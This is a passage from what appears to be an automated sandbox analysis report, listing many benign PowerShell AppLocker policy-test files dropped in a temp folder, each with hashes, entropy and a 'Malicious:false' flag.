                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2d4aol10.udy.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2em5h0sq.jsr.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f3zik5z.jsc.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3y221ybc.1pp.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40prao3n.ggw.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4o1bfzpi.t5o.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ihk22f1.ppz.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5nldbobp.4hp.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a3geh2p3.1mm.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbxp4cen.rtv.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_duqdqyxv.2ub.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvtlrfrr.tcw.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fbgq1xbu.bqh.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fv533bwt.s22.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fy14trb0.14m.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gel5uen0.h4b.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gpv4csrc.za5.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i2dv4gmj.ump.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5pih2zj.pod.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jauhjlik.kdi.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jdmwhlyg.pdj.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfkchjs5.2pd.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jm0h5y5c.5vj.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5vyu05q.g5q.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2zm5ma3.lov.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m0t2vilr.dcf.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m2lavz3t.sen.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3p2zzd3.ebt.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mgyfo44k.gqp.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mh45t1pl.c0a.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlademmb.x1o.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlfwegtg.qpd.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nts1gb3r.cs0.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
